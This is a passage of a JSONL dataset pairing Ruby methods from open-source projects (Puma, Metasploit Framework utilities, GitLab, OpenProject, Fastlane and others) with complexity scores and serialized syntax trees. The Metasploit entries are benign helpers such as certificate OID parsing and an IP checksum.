end","complexity_score":40.65,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.2]}]},{\"type\":\"ivasgn\",\"children\":[\"@thread_loops\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@clients_per_thread\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@req_per_client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@body_sizes\",{\"type\":\"const\",\"children\":[null,\"SIZES\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@body_types\",{\"type\":\"const\",\"children\":[null,\"TYPES\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@dly_app\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@bind_type\",{\"type\":\"sym\",\"children\":[\"tcp\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@worker_req_ttl\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@pids\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@ios_to_close\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"setup_options\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"ivar\",\"children\":[\"@state_file\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Can't find state file '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state_file\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mstr_pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"ivar\",\"children\":[\"@state_file\"]}]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^pid: +(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"mstr_pid\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ESRCH\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Puma server stopped?\"]}]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EPERM\"]}]},null,null]},null]}]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bind_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl\"]},{\"type\":\"sym\",\"children\":[\"ssl4\"]},{\"type\":\"sym\",\"children\":[\"tcp\"]},{\"type\":\"sym\",\"children\":[\"tcp4\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bind_host\",{\"type\":\"const\",\"children\":[null,\"HOST4\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bind_port\",{\"type\":\"const\",\"children\":[null,\"PORT\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl6\"]},{\"type\":\"sym\",\"children\":[\"tcp6\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bind_host\",{\"type\":\"const\",\"children\":[null,\"HOST6\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bind_port\",{\"type\":\"const\",\"children\":[null,\"PORT\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix\"]},{\"type\":\"ivasgn\",\"children\":[\"@bind_path\",{\"type\":\"str\",\"children\":[\"tmp/benchmark_skt.unix\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"aunix\"]},{\"type\":\"ivasgn\",\"children\":[\"@bind_path\",{\"type\":\"str\",\"children\":[\"@benchmark_skt.aunix\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"20a09346-55ef-4edb-9d22-d03c34596714"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ms_icpr.rb","start_line":422,"raw_source":"def get_cert_policy_oids(cert)\n    ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' }\n    return [] unless ext\n\n    cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der)\n    cert_policies.value.map do |policy_info|\n      oid_string = policy_info[:policyIdentifier].value\n      Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string)\n    end\n  end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_cert_policy_oids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cert\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ext\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert\"]},\"extensions\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"oid\"]},\"==\",{\"type\":\"str\",\"children\":[\"ms-app-policies\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cert_policies\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"CryptoAsn1\"]},\"X509\"]},\"CertificatePolicies\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},\"value_der\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert_policies\"]},\"value\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oid_string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"policyIdentifier\"]}]},\"value\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"CryptoAsn1\"]},\"OIDs\"]},\"value\",{\"type\":\"lvar\",\"children\":[\"oid_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"CryptoAsn1\"]},\"ObjectId\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"oid_string\"]}]}]}]}]}]}]}","id":"ad4eccf9-decb-4e37-87c9-aca27e70ad1d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/worker_context.rb","start_line":35,"raw_source":"def batch_context\n      Thread.current[BATCH_CONTEXT_KEY]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"BATCH_CONTEXT_KEY\"]}]}]}","id":"74dd2254-5778-486e-872d-604f3b73fb7b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/nextcloud/commands/set_permissions_command_spec.rb","start_line":109,"raw_source":"def permission_request_body\n              Nokogiri::XML::Builder.new do |xml|\n                xml[\"d\"].propfind(\n                  \"xmlns:d\" => \"DAV:\",\n                  \"xmlns:nc\" => \"http://nextcloud.org/ns\"\n                ) do\n                  xml[\"d\"].prop do\n                    xml[\"nc\"].send(:\"acl-list\")\n                  end\n                end\n              end.to_xml\n            end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"permission_request_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\"]},\"Builder\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"d\"]}]},\"propfind\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns:d\"]},{\"type\":\"str\",\"children\":[\"DAV:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns:nc\"]},{\"type\":\"str\",\"children\":[\"http://nextcloud.org/ns\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"d\"]}]},\"prop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nc\"]}]},\"send\",{\"type\":\"sym\",\"children\":[\"acl-list\"]}]}]}]}]},\"to_xml\"]}]}","id":"e7ef7b38-c1a8-435b-89a9-23ee5f859be8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/resolver/socks.rb","start_line":90,"raw_source":"def ipchecksum(data)\n    checksum = data.unpack(\"n*\").inject(0) { |s, x| s + x }\n    ((checksum >> 16) + (checksum & 0xffff)) ^ 0xffff\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ipchecksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checksum\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"n*\"]}]},\"inject\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]},{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checksum\"]},\">>\",{\"type\":\"int\",\"children\":[16]}]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checksum\"]},\"&\",{\"type\":\"int\",\"children\":[65535]}]}]}]}]},\"^\",{\"type\":\"int\",\"children\":[65535]}]}]}]}","id":"b159cb75-15e6-4a04-9177-bce9707adce3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/chargeback_vm_spec.rb","start_line":1356,"raw_source":"def find_result_by_vm_name_and_region(chargeback_result, vm_name, region)\n            first_region_id, last_region_id = MiqRegion.region_to_array(region)\n\n            chargeback_result.detect do |result|\n              result.vm_name == vm_name && result.vm_id.between?(first_region_id, last_region_id)\n            end\n          end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_result_by_vm_name_and_region\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chargeback_result\"]},{\"type\":\"arg\",\"children\":[\"vm_name\"]},{\"type\":\"arg\",\"children\":[\"region\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_region_id\"]},{\"type\":\"lvasgn\",\"children\":[\"last_region_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqRegion\"]},\"region_to_array\",{\"type\":\"lvar\",\"children\":[\"region\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chargeback_result\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"vm_name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"vm_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"vm_id\"]},\"between?\",{\"type\":\"lvar\",\"children\":[\"first_region_id\"]},{\"type\":\"lvar\",\"children\":[\"last_region_id\"]}]}]}]}]}]}","id":"16b22451-7119-4e05-b007-1be82f009ecb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/framework.rb","start_line":368,"raw_source":"def on_module_error(instance, exception=nil)\n    module_event('module_error', instance, :exception => exception.to_s)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_module_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]},{\"type\":\"optarg\",\"children\":[\"exception\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"module_event\",{\"type\":\"str\",\"children\":[\"module_error\"]},{\"type\":\"lvar\",\"children\":[\"instance\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"to_s\"]}]}]}]}]}","id":"d64b0840-df02-4b05-b6a2-a0967a715abc"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/integrations/hook.rb","start_line":95,"raw_source":"def validate_settings_json_schema\n    return if app.blank? || app.params[:settings_json_schema].blank?\n\n    errors.add(:settings, ': Invalid settings data') unless JSONSchemer.schema(app.params[:settings_json_schema]).valid?(settings)\n  end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_settings_json_schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"settings_json_schema\"]}]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSONSchemer\"]},\"schema\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"settings_json_schema\"]}]}]},\"valid?\",{\"type\":\"send\",\"children\":[null,\"settings\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"str\",\"children\":[\": Invalid settings data\"]}]}]}]}]}","id":"16ffb020-7a00-43d3-98fe-0dd5991e271a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/pilot/lib/pilot/build_manager.rb","start_line":324,"raw_source":"def self.strip_emoji(changelog)\n      if changelog && changelog =~ emoji_regex\n        changelog.gsub!(emoji_regex, \"\")\n        UI.important(\"Emoji symbols have been removed from the changelog, since they're not allowed by Apple.\")\n      end\n      changelog\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"strip_emoji\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"changelog\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changelog\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changelog\"]},\"=~\",{\"type\":\"send\",\"children\":[null,\"emoji_regex\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changelog\"]},\"gsub!\",{\"type\":\"send\",\"children\":[null,\"emoji_regex\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Emoji symbols have been removed from the changelog, since they're not allowed by Apple.\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"changelog\"]}]}]}","id":"eb70189e-7665-43b9-aaf3-50346590b145"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/test_parser.rb","start_line":37,"raw_source":"def unfold_tests(data)\n      # `data` looks like this\n      # => [{\"Subtests\"=>\n      #  [{\"Subtests\"=>\n      #     [{\"Subtests\"=>\n      #        [{\"Duration\"=>0.4,\n      #          \"TestIdentifier\"=>\"Unit/testExample()\",\n      #          \"TestName\"=>\"testExample()\",\n      #          \"TestObjectClass\"=>\"IDESchemeActionTestSummary\",\n      #          \"TestStatus\"=>\"Success\",\n      #          \"TestSummaryGUID\"=>\"4A24BFED-03E6-4FBE-BC5E-2D80023C06B4\"},\n      #         {\"FailureSummaries\"=>\n      #           [{\"FileName\"=>\"/Users/krausefx/Developer/themoji/Unit/Unit.swift\",\n      #             \"LineNumber\"=>34,\n      #             \"Message\"=>\"XCTAssertTrue failed - \",\n      #             \"PerformanceFailure\"=>false}],\n      #          \"TestIdentifier\"=>\"Unit/testExample2()\",\n\n      tests = []\n      data.each do |current_hash|\n        if current_hash[\"Subtests\"]\n          tests += unfold_tests(current_hash[\"Subtests\"])\n        end\n        if current_hash[\"TestStatus\"]\n          tests << current_hash\n        end\n      end\n      return tests\n    end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"unfold_tests\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tests\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Subtests\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tests\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"unfold_tests\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Subtests\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TestStatus\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tests\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"current_hash\"]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tests\"]}]}]}]}","id":"124ec7dd-7549-4a44-be68-b7f5cfd70379"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/hourly_rate.rb","start_line":100,"raw_source":"def change_of_user_only_on_first_creation\n    # Only allow change of project and user on first creation\n    return if new_record?\n\n    errors.add :project_id, :invalid if project_id_changed?\n    errors.add :user_id, :invalid if user_id_changed?\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change_of_user_only_on_first_creation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_id_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]},null]}]}]}","id":"c4587251-3404-467a-a937-d4617b9f4bd6"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/variable_test.rb","start_line":14,"raw_source":"def test_variable_render_calls_to_liquid\n    assert_template_result('foobar', '{{ foo }}', { 'foo' => ThingWithToLiquid.new })\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_variable_render_calls_to_liquid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"foobar\"]},{\"type\":\"str\",\"children\":[\"{{ foo }}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThingWithToLiquid\"]},\"new\"]}]}]}]}]}","id":"1645a3d6-a917-4c9e-a82d-aacc300d3bd0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/download_dsyms.rb","start_line":231,"raw_source":"def self.available_options\n        user = CredentialsManager::AppfileConfig.try_fetch_value(:itunes_connect_id)\n        user ||= CredentialsManager::AppfileConfig.try_fetch_value(:apple_id)\n\n        [\n          FastlaneCore::ConfigItem.new(key: :api_key_path,\n                                       env_names: [\"DOWNLOAD_DSYMS_API_KEY_PATH\", \"APP_STORE_CONNECT_API_KEY_PATH\"],\n                                       description: \"Path to your App Store Connect API Key JSON file (https://docs.fastlane.tools/app-store-connect-api/#using-fastlane-api-key-json-file)\",\n                                       optional: true,\n                                       conflicting_options: [:api_key],\n                                       verify_block: proc do |value|\n                                         UI.user_error!(\"Couldn't find API key JSON file at path '#{value}'\") unless File.exist?(value)\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :api_key,\n                                       env_names: [\"DOWNLOAD_DSYMS_API_KEY\", \"APP_STORE_CONNECT_API_KEY\"],\n                                       description: \"Your App Store Connect API Key information (https://docs.fastlane.tools/app-store-connect-api/#use-return-value-and-pass-in-as-an-option)\",\n                                       type: Hash,\n                                       default_value: Fastlane::Actions.lane_context[Fastlane::Actions::SharedValues::APP_STORE_CONNECT_API_KEY],\n                                       default_value_dynamic: true,\n                                       optional: true,\n                                       sensitive: true,\n                                       conflicting_options: [:api_key_path]),\n          FastlaneCore::ConfigItem.new(key: :username,\n                                       short_option: \"-u\",\n                                       env_name: \"DOWNLOAD_DSYMS_USERNAME\",\n                                       description: \"Your Apple ID Username for App Store Connect\",\n                                       default_value: user,\n                                       default_value_dynamic: true),\n          FastlaneCore::ConfigItem.new(key: :app_identifier,\n                                       short_option: \"-a\",\n                                       env_name: \"DOWNLOAD_DSYMS_APP_IDENTIFIER\",\n                                       description: \"The bundle identifier of your app\",\n                                       optional: false,\n                                       code_gen_sensitive: true,\n                                       default_value: CredentialsManager::AppfileConfig.try_fetch_value(:app_identifier),\n                                       default_value_dynamic: true),\n          FastlaneCore::ConfigItem.new(key: :team_id,\n                                       short_option: \"-k\",\n                                       env_name: \"DOWNLOAD_DSYMS_TEAM_ID\",\n                                       description: \"The ID of your App Store Connect team if you're in multiple teams\",\n                                       optional: true,\n                                       skip_type_validation: true, # as we also allow integers, which we convert to strings anyway\n                                       code_gen_sensitive: true,\n                                       default_value: CredentialsManager::AppfileConfig.try_fetch_value(:itc_team_id),\n                                       default_value_dynamic: true,\n                                       verify_block: proc do |value|\n                                         ENV[\"FASTLANE_ITC_TEAM_ID\"] = value.to_s\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :team_name,\n                                       short_option: \"-e\",\n                                       env_name: \"DOWNLOAD_DSYMS_TEAM_NAME\",\n                                       description: \"The name of your App Store Connect team if you're in multiple teams\",\n                                       optional: true,\n                                       code_gen_sensitive: true,\n                                       default_value: CredentialsManager::AppfileConfig.try_fetch_value(:itc_team_name),\n                                       default_value_dynamic: true,\n                                       verify_block: proc do |value|\n                                         ENV[\"FASTLANE_ITC_TEAM_NAME\"] = value.to_s\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :platform,\n                                       short_option: \"-p\",\n                                       env_name: \"DOWNLOAD_DSYMS_PLATFORM\",\n                                       description: \"The app platform for dSYMs you wish to download (ios, xros, appletvos)\",\n                                       default_value: :ios),\n          FastlaneCore::ConfigItem.new(key: :version,\n                                       short_option: \"-v\",\n                                       env_name: \"DOWNLOAD_DSYMS_VERSION\",\n                                       description: \"The app version for dSYMs you wish to download, pass in 'latest' to download only the latest build's dSYMs or 'live' to download only the live version dSYMs\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :build_number,\n                                       short_option: \"-b\",\n                                       env_name: \"DOWNLOAD_DSYMS_BUILD_NUMBER\",\n                                       description: \"The app build_number for dSYMs you wish to download\",\n                                       optional: true,\n                                       skip_type_validation: true), # as we also allow integers, which we convert to strings anyway\n          FastlaneCore::ConfigItem.new(key: :min_version,\n                                       short_option: \"-m\",\n                                       env_name: \"DOWNLOAD_DSYMS_MIN_VERSION\",\n                                       description: \"The minimum app version for dSYMs you wish to download\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :after_uploaded_date,\n                                       short_option: \"-d\",\n                                       env_name: \"DOWNLOAD_DSYMS_AFTER_UPLOADED_DATE\",\n                                       description: \"The uploaded date after which you wish to download dSYMs\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :output_directory,\n                                       short_option: \"-s\",\n                                       env_name: \"DOWNLOAD_DSYMS_OUTPUT_DIRECTORY\",\n                                       description: \"Where to save the download dSYMs, defaults to the current path\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :wait_for_dsym_processing,\n                                       short_option: \"-w\",\n                                       env_name: \"DOWNLOAD_DSYMS_WAIT_FOR_DSYM_PROCESSING\",\n                                       description: \"Wait for dSYMs to process\",\n                                       optional: true,\n                                       default_value: false,\n                                       type: Boolean),\n          FastlaneCore::ConfigItem.new(key: :wait_timeout,\n                                       short_option: \"-t\",\n                                       env_name: \"DOWNLOAD_DSYMS_WAIT_TIMEOUT\",\n                                       description: \"Number of seconds to wait for dSYMs to process\",\n                                       optional: true,\n                                       default_value: 300,\n                                       type: Integer)\n        ]\n      